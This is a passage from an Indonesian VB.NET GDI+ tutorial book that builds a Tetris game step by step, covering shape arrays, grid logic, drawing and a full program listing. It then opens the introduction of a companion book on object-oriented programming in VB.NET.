{0,0},{0,1},{1,0},{1,1}
{0,0},{0,1},{1,0},{1,1}
{0,0},{0,1},{1,0},{1,1}
{0,0},{0,1},{1,0},{1,1}

{0,0},{0,1},{0,2},{1,2}
{0,0},{0,1},{1,0},{2,0}
{0,0},{1,0},{1,1},{1,2}
{0,1},{1,1},{2,0},{2,1}
{0,0},{0,1},{0,2},{1,1}
{0,0},{1,0},{1,1},{2,0}
{1,0},{0,1},{1,1},{1,2}
{0,1},{1,0},{1,1},{2,1}

{0,0},{0,1},{1,1},{1,2}
{0,1},{1,0},{1,1},{2,0}
{0,0},{0,1},{1,1},{1,2}
{0,1},{1,0},{1,1},{2,0}

INDOPROG 29
Pemrograman GDI+ pada VB.NET Hendra, S.T.

{0,1},{0,2},{1,0},{1,1}
{0,0},{1,0},{1,1},{2,1}
{0,1},{0,2},{1,0},{1,1}
{0,0},{1,0},{1,1},{2,1}

Contoh :

Yang memiliki rincian array sebagai berikut :

{0,0},{0,1},{0,2},{1,1}
{0,0},{1,0},{1,1},{2,0}
{1,0},{0,1},{1,1},{1,2}
{0,1},{1,0},{1,1},{2,1}

Yang selanjutnya dipetakan menjadi suatu array 4 dimensi yang berisi koordinat dari
masingmasing shape :

'Array 4 dimensi yang berisi nilai sel dari masing-masing bentuk 'serta
bentuk rotasinya
private sarr(,,,) as integer = {{{{1,0},{1,1},{1,2},{1,3}}, _
{{0,1},{1,1},{2,1},{3,1}}, _
{{1,0},{1,1},{1,2},{1,3}}, _
{{0,1},{1,1},{2,1},{3,1}}}, _
{{{0,0},{0,1},{1,0},{1,1}}, _
{{0,0},{0,1},{1,0},{1,1}}, _
{{0,0},{0,1},{1,0},{1,1}}, _
{{0,0},{0,1},{1,0},{1,1}}}, _
{{{0,0},{0,1},{0,2},{1,2}}, _
{{0,0},{0,1},{1,0},{2,0}}, _
{{0,0},{1,0},{1,1},{1,2}}, _
{{0,1},{1,1},{2,0},{2,1}}}, _
{{{0,0},{0,1},{0,2},{1,1}}, _
{{0,0},{1,0},{1,1},{2,0}}, _
{{1,0},{0,1},{1,1},{1,2}}, _
{{0,1},{1,0},{1,1},{2,1}}}, _
{{{0,0},{0,1},{1,1},{1,2}}, _
{{0,1},{1,0},{1,1},{2,0}}, _
{{0,0},{0,1},{1,1},{1,2}}, _
{{0,1},{1,0},{1,1},{2,0}}}, _
{{{0,1},{0,2},{1,0},{1,1}}, _
{{0,0},{1,0},{1,1},{2,1}}, _
{{0,1},{0,2},{1,0},{1,1}}, _
{{0,0},{1,0},{1,1},{2,1}}}}

Variabel pada Class TShape


private currentshape as integer 'menyimpan nomor current shape

INDOPROG 30
Pemrograman GDI+ pada VB.NET Hendra, S.T.

private nextshape as integer 'menyimpan nomor next shape


public currentcolor as color 'menyimpan warna current shape
public nextcolor as color 'menyimpan warna next shape 'nomor
private currentstate as integer rotasi shape

Konstruktor TShape

Konstuktor TShape merupakan metoda yang otomatis dijalankan begitu instance dari TShape
terbentuk.

Misalnya :

private gtshape as new tshape 'instance class tshape

berfungsi menghasilkan bentuk Shape berikutnya yang akan dimunculkan setelah bentuk
sekarang dengan memanggil metoda generateshape.

'konstrutor untuk class tshape


public sub new()
generateshape(nextshape, nextcolor)
end sub

Metoda GenerateNextShape

Metoda ini berfungsi memindahkan nextshape menjadi currentshape, serta membuat nextshape yang
berikutnya.
'Membuat next shape berikutnya, dan menset current shape public
sub generatenextshape()
currentshape = nextshape
currentcolor = nextcolor
currentstate = 0 'rotasi ke 0
generateshape(nextshape, nextcolor) 'buat nextshape baru
end sub

Sub GenerateShape

Berfungsi menghasilkan shape secara random, dan warnanya

'Membuat bentuk dan mengembalikan melalui parameter shape dan shapecolor private
sub generateshape(byref shape as integer, _
byref shapecolor as color)
dim c as integer
shape = int(rnd*6) 'random untuk shape
c = int(rnd*8) 'random untuk shape color
select case c
case 0 : shapecolor = color.red
case 1 : shapecolor = color.green
case 2 : shapecolor = color.blue
case 3 : shapecolor = color.orange
case 4 : shapecolor = color.pink

INDOPROG 31
Pemrograman GDI+ pada VB.NET Hendra, S.T.

case 5 : shapecolor = color.cyan case


6 : shapecolor = color.gray case else
shapecolor = color.magenta
end select
end sub

Catatan :
Parameter pada sub ini dilewatkan secara by refrence, sehingga nilai dapat dikembalikan ke
variable shape dan shapecolor.

Metoda Rotate

Metode ini berfungsi menset nilai currentstate ke nilai rotasi berikutnya (0 ke 1, 1 ke 2, 2 ke 3, 3


ke 0).

'Rotasi ke bentuk berikutnya


public sub rotate()
currentstate = currentstate + 1 'Rotasi berikutnya
if currentstate = 4 then currentstate = 0 'Kembali ke bentuk awal
end sub
Metoda DeRotate

Metode ini berfungsi menset nilai currentstate ke nilai rotasi sebelumnya (1 ke 0, 2 ke 1, 3 ke 2, 0 ke


3).

'Rotasi ke bentuk sebelumnya


public sub derotate()
currentstate = currentstate - 1 'Rotasi sebelumnya
if currentstate = -1 then currentstate = 3 end sub

Metoda CurrentShapeSel

Properti ini berfungsi mengembalikan nilai sel yang ke i,j dari array shape yang tersimpan pada array 4
dimensi sarr.

'Mengembalikan sel i,j dari current shape


public function currentshapesel(i as integer, j as integer)
return sarr(currentshape,currentstate,i,j)
end function

Nilai sel yang dikembalikan sangat tergantung pada nilai variable currentshape (bentuk shape), dan
currentstate (nomor rotasi)

INDOPROG 32
Pemrograman GDI+ pada VB.NET Hendra, S.T.

Misalnya nilai currentshape = 4, dan nilai currentstate = 3

{1,0},{0,1},{1,1},{1,2}

Dan CurrentShapeSel(0,0) akan menghasilkan 1


CurrentShapeSel(0,1) akan menghasilkan 0

Property NextShapeSel

Properti ini berfungsi mengembalikan nilai sel yang ke i,j dari array shape yang tersimpan pada array 4
dimensi sarr.

'Mengembalikan sel i,j dari next shape


public function nextshapesel(i as integer, j as integer)
return sarr(nextshape,0,i,j) 'Bentuk awal
end function

Nilai sel yang dikembalikan sangat tergantung pada nilai variable nextshape (bentuk shape), dan
currentstate defaultnya 0, karena nextshape belum mengalami rotasi.

Class TGrid
Class ini berfungsi menyediakan mekanisme Grid pada permainan Tetris, dimana pada memori
computer diwakili dengan array dua dimensi, dengan gambaran sebagai berikut :

INDOPROG 33
Pemrograman GDI+ pada VB.NET Hendra, S.T.

Variabel yang digunakan


public parr(15,25) as integer 'Array menyimpan isi sel pada grid
public carr(15,25) as color 'Array menyimpan warna sel pada grid

Merupakan array yang mewakili grid dilayar, jika suatu sel terisi gambar, maka nilai parr(x,y) akan
berisi nilai 1, dan carr(x,y) akan berisi nilai warna gambar.

Kontruktor TGrid

Begitu instance dari TGrid terbuat, maka akan mengisi awal array parr menjadi sebagai berikut, yang
akan menjadi bingkai dari grid, sehingga area permainan mulai dari (3,0) s/d (12,22)

INDOPROG 34
Pemrograman GDI+ pada VB.NET Hendra, S.T.

'konstruktur class tgrid


public sub new()
dim i, j as integer
for i = 0 to 15
for j = 0 to 25
parr(i,j) = 1 'isi bingkai
next j
next i
for i = 3 to 12
for j = 0 to 22
parr(i,j) = 0 'isi arena
next j
next i
end sub

Metoda TestShape

Metoda ini berfungsi mengisi nilai dari shape ke posisi x,y dalam grid, dengan syarat parr(x,y)
masih 0
'Menempatkan shape pada posisi x,y di grid
public sub putshape(x as integer, y as integer, s as tshape)
dim i as integer
for i = 0 to 3

INDOPROG 35
Pemrograman GDI+ pada VB.NET Hendra, S.T.

parr(x+s.currentshapesel(i,0), _
y+s.currentshapesel(i,1)) = 1
carr(x+s.currentshapesel(i,0), _
y+s.currentshapesel(i,1)) = s.currentcolor next
i
end sub

Misalnya putshape yang ke 4, keposisi 6,21 pada grid, yang akan mengisi nilai ke parr

Metoda TestShape

Metoda ini berfungsi mencoba apakah shape dapat ditempatkan pada posisi x,y dalam grid,
dengan syarat parr(x,y) masih 0
'Mengembalikan nilai yang menunjukan apakah
'shape dapat ditempatkan pada grid diposisi x,y
public function testshape(x as integer, y as integer, s as tshape)_
as boolean
dim i as integer
for i = 0 to 3
'apakah sel pada grid telah terisi ( > 0 ) if
parr(x+s.currentshapesel(i,0), _
y+s.currentshapesel(i,1)) > 0 then
return false
end if

INDOPROG 36
Pemrograman GDI+ pada VB.NET Hendra, S.T.

next i
return true
end function

Metoda CheckGrid

Metoda ini berfungsi memeriksa apakah ada baris dalam array parr yang berisi nilai 1 dari kolom 3 s/d
12.
'periksa apakah ada baris yang berhasil diselesaikan pemain public
function checkgrid() as integer
dim i,j as integer
dim b,k as integer
dim complete as integer
complete = 0
i = 22
do while i > 3
j = 3
do while parr(j,i) <> 0 and j < 13
j=j+1
loop
if j = 13 then
beep 'sound beep
complete = complete + 1 for b
= i to 4 step -1
for k = 3 to 12
parr(k,b) = parr(k,b-1)
carr(k,b) = carr(k,b-1)
next k
next b
else
i = i - 1
end if
loop
return complete
end function
end class

Misalnya array parr pada baris 22 berisi nilai 1 mulai baris 3 s/d 12, maka setelah metoda
ChekGrid dijalankan akan menghapus baris 22 dan mengeser baris diatasnya ke bawah, dan
mengembalikan nilai berapa baris yang berhasil diselesaikan.

INDOPROG 37
Pemrograman GDI+ pada VB.NET Hendra, S.T.

Class Tetris
Class ini merupakan class utama permainan Tetris

Variabel yang digunakan

private withevents gtimer as new system.windows.forms.timer


private labelscore as new label
private labelgameover as new label
private gtgrid as new tgrid 'instance class tgrid
private gtshape as new tshape 'instance class tshape
private g as graphics
private x,y as integer 'posisi x,y shape pada grid
private score as integer 'score permainan

Konstruktor Tetris
Berfungsi mempersiapkan tampilan form, seperti title form, ukuran form, menempatkan label
untuk keterangan score dan gameover, membuat objek Graphics yang akan digunakan untuk
menyediakan metoda pengambaran, serta mempersiapkan Shape berikutnya.

public sub new()


me.text = "Program Tetris"
me.size = new size(450, 600)
labelscore.location = new point(61,30)
me.controls.add(labelscore)
labelgameover.location = new point(200,30)
me.controls.add(labelgameover)
g = me.creategraphics()
score = 0
printscore()
nextshape() 'persiapkan shape berikutnya
end sub

Metoda NextShape
Metoda ini berfungsi mempersiapkan shape berikutnya, dan menset interval timer 200 millidetik, dan
posisi awal shape mulai di posisi (7,0)
'metoda mempersiapkan shape berikutnya
private sub nextshape()
gtimer.interval = 200 'set interval 200 millidetik

INDOPROG 38
Pemrograman GDI+ pada VB.NET Hendra, S.T.

gtimer.enabled = true 'mengaktifkan timer


gtshape.generatenextshape()
redrawnextshape() 'cetak shape berikutnya
x = 7 'koordinat awal di 7,0
y = 0
end sub

Metoda MoveShape
Metoda ini berfungsi menggambarkan animasi pergerakan Shape pada posisi x,y sesuai dengan
arah gerakan yang ditentukan pada dx dan dy, misalnya bergerak ke kiri, kama dx = -1, dy = 0
'memindahkan shape keposisi x,y
private sub movexy(dx,dy)
clearshape() 'hapus gambar sebelumnya
x = x + dx 'ubah posisi x,y
y = y + dy
drawshape() 'gambar diposisi baru
end sub

Metoda MoveShape
Metoda ini berfungsi memperbaharui nilai score di layar

'metoda untuk mencetak score dilayar private


sub printscore()
labelscore.text = "Score : " & score.tostring()
end sub

Metoda MoveShape
Metoda ini berfungsi mengubah tulisan di labelgameover menjadi “Game Over”

'metoda untuk mencetak gameover


private sub printgameover()
labelgameover.text = "Game Over"
end sub

Event Tick
Event ini secara otomatis akan dibangkitkan oleh Timer secara berkala untuk mengerakan Shape ke
bawah, dengan senantiasa apakah Shape telah mencapai batas gerakan, jika ya, maka akan
memanggil metoda putshape pada TGrid.

Jika Shape tertahan dibaris < 3 artinya Game Over


'mengerakan shape ke bawah dengan interval waktu tertentu
private sub gtimer_tick(sender as object, e as eventargs) _
handles gtimer.tick
'apakah shape masih bisa turun kebawah
if gtgrid.testshape(x,y+1,gtshape) then

INDOPROG 39
Pemrograman GDI+ pada VB.NET Hendra, S.T.

movexy(0,1) 'jika ya pindah shape 1 baris ke bawah


else
gtgrid.putshape(x,y,gtshape) 'tempatkan shape kegrid
score = score + gtgrid.checkgrid() 'periksa baris yang lengkap
redrawgrid() 'cetak ulang grid
printscore() 'cetak score
'jika shape tertahan di baris 3, artinya game over if y
< 3 then
gtimer.enabled = false 'matikan timer karena gameover
printgameover() 'tampil pesan gameover
else
nextshape() 'persiapkan gambar berikutnya
end if
end if
end sub

Event KeyDown
Event ini secara otomatis akan dibangkitkan apabila adanya penekanan tombol oleh pemakai, Jika
panah atas akan merotasi shape
jika panah kiri akan mengerakan shape ke kiri
jika panah kanan akan mengerakan shape ke kanan
jika panah bawah akan mempercepat turunya shape
'deteksi penekanan tombol dengan event keydown pada form
private sub tetris_keydown(sender as object, e as keyeventargs) _
handles mybase.keydown
select case e.keyvalue
case 38, 104, 12,101 : 'Panah atas, 8, 5
gtshape.rotate() 'rotasi
'apakah hasil rotasi dapat ditempatkan diposisi x,y if
gtgrid.testshape(x,y,gtshape) then
'kalau ya, rotasi balik kembali
gtshape.derotate()
clearshape() 'hapus animasi shape
gtshape.rotate() 'rotasi
drawshape() 'gambar shape ke layar
else
gtshape.derotate()
end if
case 37, 100 : 'Panah kiri, 4
'jika shape dapat ditempatkan kekiri
if gtgrid.testshape(x-1,y,gtshape) then
movexy(-1,0) 'pindah ke kiri
end if
case 39, 102 : 'Panah kanan, 6
if gtgrid.testshape(x+1,y,gtshape) then
movexy(1,0)
end if
case 40, 98 : 'Panah bawah, 2 interval dipercepat
gtimer.interval = 10
end select
end sub

INDOPROG 40
Pemrograman GDI+ pada VB.NET Hendra, S.T.

Metoda DrawSel
Metoda ini berfungsi menggambar sel Shape ke layar untuk animasi, metoda ini akan dipanggil oleh
metoda drawshape dan OnPaint
'menggambar sel dari suatu shape
private sub drawsel(pen as pen, brush as brush, _
x as integer, y as integer, _
w as integer, h as integer)
if y > 2 then
g.fillrectangle(brush,x*21,y*21,w,h)
g.drawrectangle(pen,x*21,y*21,w,h)
end if
end sub

Metoda DrawShape
Metoda ini berfungsi menggambar Shape ke layar dengan memanggil metoda DrawSel untuk
masing-masing sel
'mengambar shape secara sementara
private sub drawshape()
dim i as integer
dim pen as new pen(color.white,1)
dim brush as new solidbrush(gtshape.currentcolor) for
i = 0 to 3
drawsel(pen,brush, _
x+gtshape.currentshapesel(i,0), _
y+gtshape.currentshapesel(i,1), _
20,20)
next i
end sub

Metoda DrawShape
Metoda ini berfungsi menghapus Shape di layar dengan memanggil metoda DrawSel untuk
masing-masing sel (warna hitam)
'menghapus shape sementara
private sub clearshape()
dim i as integer
dim pen as new pen(color.black,1)
dim brush as new solidbrush(color.black) for i
= 0 to 3
drawsel(pen,brush, _
x+gtshape.currentshapesel(i,0), _
y+gtshape.currentshapesel(i,1),20,20)
next i
end sub

Metoda ReDrawNextShape
Metoda ini berfungsi menggambar NextShape di layar setiap adanya perubahan nextshape

INDOPROG 41
Pemrograman GDI+ pada VB.NET Hendra, S.T.

'mengambar ulang nextshape


private sub redrawnextshape
dim i as integer
dim pen as new pen(color.black,1)
dim brush as new solidbrush(color.black)
g.fillrectangle(brush,300,60,120,120)
pen.color = color.white
brush.color = gtshape.nextcolor for
i = 0 to 3
drawsel(pen,brush, _
16+gtshape.nextshapesel(i,0), _
4+gtshape.nextshapesel(i,1), _
20,20)
next i
end sub

Metoda ReDrawGrid
Metoda ini berfungsi menggambar ulang Grid dilayar
'mengambar ulang grid
private sub redrawgrid
dim i,j as integer
dim pen as new pen(color.white,1)
dim brush as new solidbrush(color.red) for i
= 3 to 12
for j = 3 to 22
if gtgrid.parr(i,j) <> 0 then 'Menggambar ulang isi grid
pen.color = color.white
brush.color = gtgrid.carr(i,j)
drawsel(pen,brush,i,j,20,20)
else
pen.color = color.black
brush.color = color.black
drawsel(pen,brush,i,j,20,20)
end if
next j
next i
pen.color = color.black
g.drawrectangle(pen,3*21-1,3*21-1,10*21+1,20*21+1)
end sub

Metoda OnPaint
Metoda OnPaint akan secara otomatis diaktifkan oleh windows setiap kali layar form Tetris
digambar ulang (misalnya waktu Maximize dan Minimize)
'melakukan overide terhadap sub onpaint pada base class
'untuk menggambar isi grid setiap proses refresh pada form protected
overrides sub onpaint(e as painteventargs)
redrawgrid()
redrawnextshape()
end sub

INDOPROG 42
Pemrograman GDI+ pada VB.NET Hendra, S.T.

Program Kongkret
option explicit on
imports system
imports system.drawing
imports system.windows.forms
imports microsoft.visualbasic

public class tetris : inherits system.windows.forms.form

<system.STAThread> _
public shared sub main()
randomize()
application.run(new tetris)
end sub

private withevents gtimer as new system.windows.forms.timer


private labelscore as new label
private labelgameover as new label
private gtgrid as new tgrid 'instance class tgrid
private gtshape as new tshape 'instance class tshape
private g as graphics
private x,y as integer 'posisi x,y shape pada grid
private score as integer 'score permainan

public sub new()


me.text = "Program Tetris"
me.size = new size(450, 600)
labelscore.location = new point(61,30)
me.controls.add(labelscore)
labelgameover.location = new point(200,30)
me.controls.add(labelgameover)
g = me.creategraphics()
score = 0
printscore()
nextshape() 'persiapkan shape berikutnya
end sub

'metoda mempersiapkan shape berikutnya


private sub nextshape()
gtimer.interval = 200 'set interval 200 millidetik
gtimer.enabled = true 'mengaktifkan timer
gtshape.generatenextshape()
redrawnextshape() 'cetak shape berikutnya
x = 7 'koordinat awal di 7,0
y = 0
end sub

'memindahkan shape keposisi x,y


private sub movexy(dx,dy)
clearshape() 'hapus gambar sebelumnya
x = x + dx 'ubah posisi x,y
y = y + dy
drawshape() 'gambar diposisi baru
end sub

INDOPROG 43
Pemrograman GDI+ pada VB.NET Hendra, S.T.

'metoda untuk mencetak score dilayar private


sub printscore()
labelscore.text = "Score : " & score.tostring()
end sub

'metoda untuk mencetak gameover


private sub printgameover()
labelgameover.text = "Game Over"
end sub

'mengerakan shape ke bawah dengan interval waktu tertentu


private sub gtimer_tick(sender as object, e as eventargs) _
handles gtimer.tick
'apakah shape bisa turun kebawah
if gtgrid.testshape(x,y+1,gtshape) then
movexy(0,1) 'pindah shape 1 baris ke bawah
else
gtgrid.putshape(x,y,gtshape) 'tempatkan shape kegrid
score = score + gtgrid.checkgrid() 'periksa baris yang lengkap
redrawgrid() 'cetak ulang grid
printscore() 'cetak score
'jika shape tertahan di baris 3, artinya game over if y
< 3 then
gtimer.enabled = false 'matikan timer karena gameover
printgameover() 'tampil pesan gameover
else
nextshape() 'persiapkan gambar berikutnya
end if
end if
end sub

'deteksi penekanan tombol dengan event keydown pada form


private sub tetris_keydown(sender as object, e as keyeventargs) _
handles mybase.keydown
select case e.keyvalue
case 38, 104, 12,101 : 'Panah atas, 8, 5
gtshape.rotate() 'rotasi
'apakah hasil rotasi dapat ditempatkan diposisi x,y if
gtgrid.testshape(x,y,gtshape) then
'kalau ya, rotasi balik kembali
gtshape.derotate()
clearshape() 'hapus animasi shape
gtshape.rotate() 'rotasi
drawshape() 'gambar shape ke layar
else
gtshape.derotate()
end if
case 37, 100 : 'Panah kiri, 4
'jika shape dapat ditempatkan kekiri
if gtgrid.testshape(x-1,y,gtshape) then
movexy(-1,0) 'pindah ke kiri
end if
case 39, 102 : 'Panah kanan, 6
if gtgrid.testshape(x+1,y,gtshape) then
movexy(1,0)
end if
case 40, 98 : 'Panah bawah, 2 interval dipercepat

INDOPROG 44
Pemrograman GDI+ pada VB.NET Hendra, S.T.

gtimer.interval = 10
end select
end sub

'menggambar sel dari suatu shape


private sub drawsel(pen as pen, brush as brush, _
x as integer, y as integer, _
w as integer, h as integer)
if y > 2 then
g.fillrectangle(brush,x*21,y*21,w,h)
g.drawrectangle(pen,x*21,y*21,w,h)
end if
end sub

'mengambar shape secara sementara


private sub drawshape()
dim i as integer
dim pen as new pen(color.white,1)
dim brush as new solidbrush(gtshape.currentcolor) for
i = 0 to 3
drawsel(pen,brush, _
x+gtshape.currentshapesel(i,0), _
y+gtshape.currentshapesel(i,1), _
20,20)
next i
end sub

'menghapus shape sementara


private sub clearshape()
dim i as integer
dim pen as new pen(color.black,1)
dim brush as new solidbrush(color.black) for i
= 0 to 3
drawsel(pen,brush, _
x+gtshape.currentshapesel(i,0), _
y+gtshape.currentshapesel(i,1),20,20)
next i
end sub

'mengambar ulang nextshape


private sub redrawnextshape
dim i as integer
dim pen as new pen(color.black,1)
dim brush as new solidbrush(color.black)
g.fillrectangle(brush,300,60,120,120)
pen.color = color.white
brush.color = gtshape.nextcolor for
i = 0 to 3
drawsel(pen,brush, _
16+gtshape.nextshapesel(i,0), _
4+gtshape.nextshapesel(i,1), _
20,20)
next i
end sub

'mengambar ulang grid

INDOPROG 45
Pemrograman GDI+ pada VB.NET Hendra, S.T.

private sub redrawgrid


dim i,j as integer
dim pen as new pen(color.white,1)
dim brush as new solidbrush(color.red) for i
= 3 to 12
for j = 3 to 22
if gtgrid.parr(i,j) <> 0 then 'Menggambar ulang isi grid
pen.color = color.white
brush.color = gtgrid.carr(i,j)
drawsel(pen,brush,i,j,20,20)
else
pen.color = color.black
brush.color = color.black
drawsel(pen,brush,i,j,20,20)
end if
next j
next i
pen.color = color.black
g.drawrectangle(pen,3*21-1,3*21-1,10*21+1,20*21+1)
end sub

'melakukan overide terhadap sub onpaint pada base class


'untuk menggambar isi grid setiap proses refresh pada form protected
overrides sub onpaint(e as painteventargs)
redrawgrid()
redrawnextshape()
end sub

end class

public class tgrid


public parr(15,25) as integer 'Array menyimpan isi sel pada
grid
public carr(15,25) as color 'Array menyimpan warna sel pada
grid

'konstruktur class tgrid


public sub new()
dim i, j as integer
for i = 0 to 15
for j = 0 to 25
parr(i,j) = 1 'isi bingkai
next j
next i
for i = 3 to 12
for j = 0 to 22
parr(i,j) = 0 'isi arena
next j
next i
end sub

'Mengembalikan nilai yang menunjukan apakah


'shape dapat ditempatkan pada grid diposisi x,y
public function testshape(x as integer, y as integer, s as tshape) _
as boolean
dim i as integer

INDOPROG 46
Pemrograman GDI+ pada VB.NET Hendra, S.T.

for i = 0 to 3
'apakah sel pada grid telah terisi
if parr(x+s.currentshapesel(i,0), _
y+s.currentshapesel(i,1)) > 0 then return
false
end if
next i
return true
end function

'Menempatkan shape pada posisi x,y di grid


public sub putshape(x as integer, y as integer, s as tshape)
dim i as integer
for i = 0 to 3
parr(x+s.currentshapesel(i,0), _
y+s.currentshapesel(i,1)) = 1
carr(x+s.currentshapesel(i,0), _
y+s.currentshapesel(i,1)) = s.currentcolor next
i
end sub

'periksa apakah ada baris yang berhasil diselesaikan pemain public


function checkgrid() as integer
dim i,j as integer
dim b,k as integer
dim complete as integer
complete = 0
i = 22
do while i > 3
j = 3
do while parr(j,i) <> 0 and j < 13
j=j+1
loop
if j = 13 then
beep 'sound beep
complete = complete + 1
for b = i to 4 step -1
for k = 3 to 12
parr(k,b) = parr(k,b-1)
carr(k,b) = carr(k,b-1)
next k
next b
else
i = i - 1
end if
loop
return complete
end function
end class

public class tshape


private currentshape as integer 'menyimpan nomor current shape
private nextshape as integer 'menyimpan nomor next shape
public currentcolor as color 'menyimpan warna current shape
public nextcolor as color 'menyimpan warna next shape

private currentstate as integer 'nomor rotasi shape

INDOPROG 47
Pemrograman GDI+ pada VB.NET Hendra, S.T.

'Array 4 dimensi yang berisi nilai sel dari masing-masing bentuk 'serta
bentuk rotasinya
private sarr(,,,) as integer = {{{{1,0},{1,1},{1,2},{1,3}}, _
{{0,1},{1,1},{2,1},{3,1}}, _
{{1,0},{1,1},{1,2},{1,3}}, _
{{0,1},{1,1},{2,1},{3,1}}}, _
{{{0,0},{0,1},{1,0},{1,1}}, _
{{0,0},{0,1},{1,0},{1,1}}, _
{{0,0},{0,1},{1,0},{1,1}}, _
{{0,0},{0,1},{1,0},{1,1}}}, _
{{{0,0},{0,1},{0,2},{1,2}}, _
{{0,0},{0,1},{1,0},{2,0}}, _
{{0,0},{1,0},{1,1},{1,2}}, _
{{0,1},{1,1},{2,0},{2,1}}}, _
{{{0,0},{0,1},{0,2},{1,1}}, _
{{0,0},{1,0},{1,1},{2,0}}, _
{{1,0},{0,1},{1,1},{1,2}}, _
{{0,1},{1,0},{1,1},{2,1}}}, _
{{{0,0},{0,1},{1,1},{1,2}}, _
{{0,1},{1,0},{1,1},{2,0}}, _
{{0,0},{0,1},{1,1},{1,2}}, _
{{0,1},{1,0},{1,1},{2,0}}}, _
{{{0,1},{0,2},{1,0},{1,1}}, _
{{0,0},{1,0},{1,1},{2,1}}, _
{{0,1},{0,2},{1,0},{1,1}}, _
{{0,0},{1,0},{1,1},{2,1}}}}

'konstrutor untuk class tshape


public sub new()
generateshape(nextshape, nextcolor)
end sub

'Membuat next shape berikutnya, dan menset current shape public


sub generatenextshape()
currentshape = nextshape
currentcolor = nextcolor
currentstate = 0 'rotasi ke 0
generateshape(nextshape, nextcolor) 'buat nextshape baru
end sub

'Membuat bentuk dan mengembalikan melalui parameter shape dan shapecolor private
sub generateshape(byref shape as integer, _
byref shapecolor as color)
dim c as integer
shape = int(rnd*6) 'random untuk shape
c = int(rnd*8) 'random untuk shape color
select case c
case 0 : shapecolor = color.red
case 1 : shapecolor = color.green
case 2 : shapecolor = color.blue
case 3 : shapecolor = color.orange
case 4 : shapecolor = color.pink
case 5 : shapecolor = color.cyan
case 6 : shapecolor = color.gray
case else
shapecolor = color.magenta

INDOPROG 48
Pemrograman GDI+ pada VB.NET Hendra, S.T.

end select
end sub

'Rotasi ke bentuk berikutnya


public sub rotate()
currentstate = currentstate + 1 'Rotasi berikutnya
if currentstate = 4 then currentstate = 0 'Kembali ke bentuk awal
end sub

'Rotasi ke bentuk sebelumnya


public sub derotate()
currentstate = currentstate - 1 'Rotasi sebelumnya
if currentstate = -1 then currentstate = 3
end sub

'Mengembalikan sel i,j dari current shape


public function currentshapesel(i as integer, j as integer)
return sarr(currentshape,currentstate,i,j)
end function

'Mengembalikan sel i,j dari next shape


public function nextshapesel(i as integer, j as integer)
return sarr(nextshape,0,i,j) 'Bentuk awal
end function

end class

Kompilasi Program
Vbc tetris.vb /r:system.dll /r:system.drawing.dll /r:system.windows.forms.dll

INDOPROG 49
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

Pemrograman Berorientasi Objek pada VB.Net


Oleh : Hendra, ST.

Buku ini membahas tentang konsep dasar pemrograman berorientasi objek (OOP) dan
bagaimana melakukannya pada VB.NET, serta memberikan contoh-contoh keunggulan OOP
dibandingkan dengan pendekatan konvensional.

Penguasaan terhadap teknik pengembangan berorientasi objek merupakan suatu nilai tambah bagi
programmer dewasa ini, karena trend bahasa pemrograman menuju kearah pendekatan
OOP, terutama sejak kemunculan Java yang 100% menerapkan OOP.

Penulis yakin bagian ini merupakan hal yang tersulit bagi programmer yang ingin melakukan
migrasi dari VB6 ke VB.NET, karena OOP merupakan hal yang benar-benar baru.

Untuk mempelajari buku ini anda tidak perlu menginstalasi Visual Studio .NET, tetapi anda
cukup menginstalasi .Net Framework yang dapat didownload secara gratis dari website
Microsoft.

Semua contoh dan latihan dibuku ini dapat dikompilasi langsung dari Dos prompt dengan
menggunakan kompiler Visual Basic yang langsung tersedia setelah anda menginstalasi .Net
Framework.

INDOPROG 1
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

Dasar OOP
Visual Basic merupakan bahasa yang Object-Based (komponen-komponen program dibuat
dalam bentuk objek), sedangkan VB.NET adalah Object Oriented, hal ini berarti bahwa VB.NET
merupakan bahasa yang benar-benar berorientasi object dengan mendukung empat pilar utama dari
OOP yaitu Polymorphism, Inheritance, Abstraction dan Encapsulation.

Kalau anda adalah programmer yang terbiasa dengan pendekatan procedural terstruktur, maka
anda akan baru dengan beberapa istilah OOP yang kita sebutkan diatas, dan memang hal tersebut
senantiasa menjadi masalah bagi programmer yang berasal dari VB dan ingin beralih ke
VB.NET.

Lalu timbul pertanyaan, apakah pada kita harus menguasai dan memahami semua istilah diatas baru
dapat membuat program aplikasi dengan VB.NET ? Tentu saja jawabannya tidak, tetapi sebagai
programmer VB.NET yang baik, maka konsep dari OOP tidak dapat diabaikan.

Mengapa harus pendekatan OOP?

Tujuan utama dari pengembangan pendekatan berorientasi objek (OOP) adalah untuk
menghilangkan beberapa kelemahan yang terdapat pada pendekatan procedural. Pada OOP data
diperlakukan sebagai elemen yang penting dan tidak boleh mengalir secara bebas dalam
program. Data yang terikat kepada function dan harus dilindungi terhadap kemungkinan
perubahan dari luar function.

Catatan :

Anda dapat melihat konsep OOP seperti suatu objek Televisi, dimana sebagai pemakai kita
tidak perlu terlalu pusing dengan komponen apa saja yang bekerja didalam televise tersebut,
tetapi sebagai pemakai kita cukup mengerti bagaimana menghidupkan, memilih channel,
mengubah volume suara, dan beberapa setting dasar.

OOP memungkinkan untuk pemecahan masalah kedalam sejumlah entitas yang disebut sebagai
objek dan kemudian mengembangkan data dan fungsi disekitar objek tersebut. Salah satu
manfaat yang terpenting dari OOP adalah pemanfaatan kembali.

Beberapa kemampuan utama dari OOP adalah sebagai berikut :

• Menekankan pada data dari pada procedure


• Program terbagi kedalam objek-objek
• Data disembunyikan dari akses oleh function-function eksternal
• Objek dapat berkomunikasi satu dengan yang lain melalui function
• Data baru dan function dapat dengan mudah ditambahkan pada saat dibutuhkan. •
Mengikuti pendekatan buttom up.

INDOPROG 2
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

Konsep dari OOP:

• Objects
• Classes
• Data Abstraction dan Encapsulation
• Inheritance
• Polymorphism

Objek

Objek merupakan dasar dari entitas run-time dalam suatu sistem berorientasi objek. Masalah
pada pemrograman adalah menganalisa dalam arti objek dan komunikasi alamiah diantara
mereka. Ketika suatu program dijalankan, objek berinteraksi satu dengan yang lain dengan saling
mengirim message. Objek-objek yang berbeda berinteraksi satu dengan yang lain tanpa
mengetahui detail data dari masing-masing data ataupun koding.

Class

Suatu class adalah suatu koleksi dari objek-objek yang bertipe sama. Setelah suatu class telah
didefinisikan, sejumlah dari objek-objek dapat dibuat berdasarkan class tersebut.

Catatan :

Istilah Class dan Objek sering dicampuradukan, pada objek merupakan instance dari suatu class pada
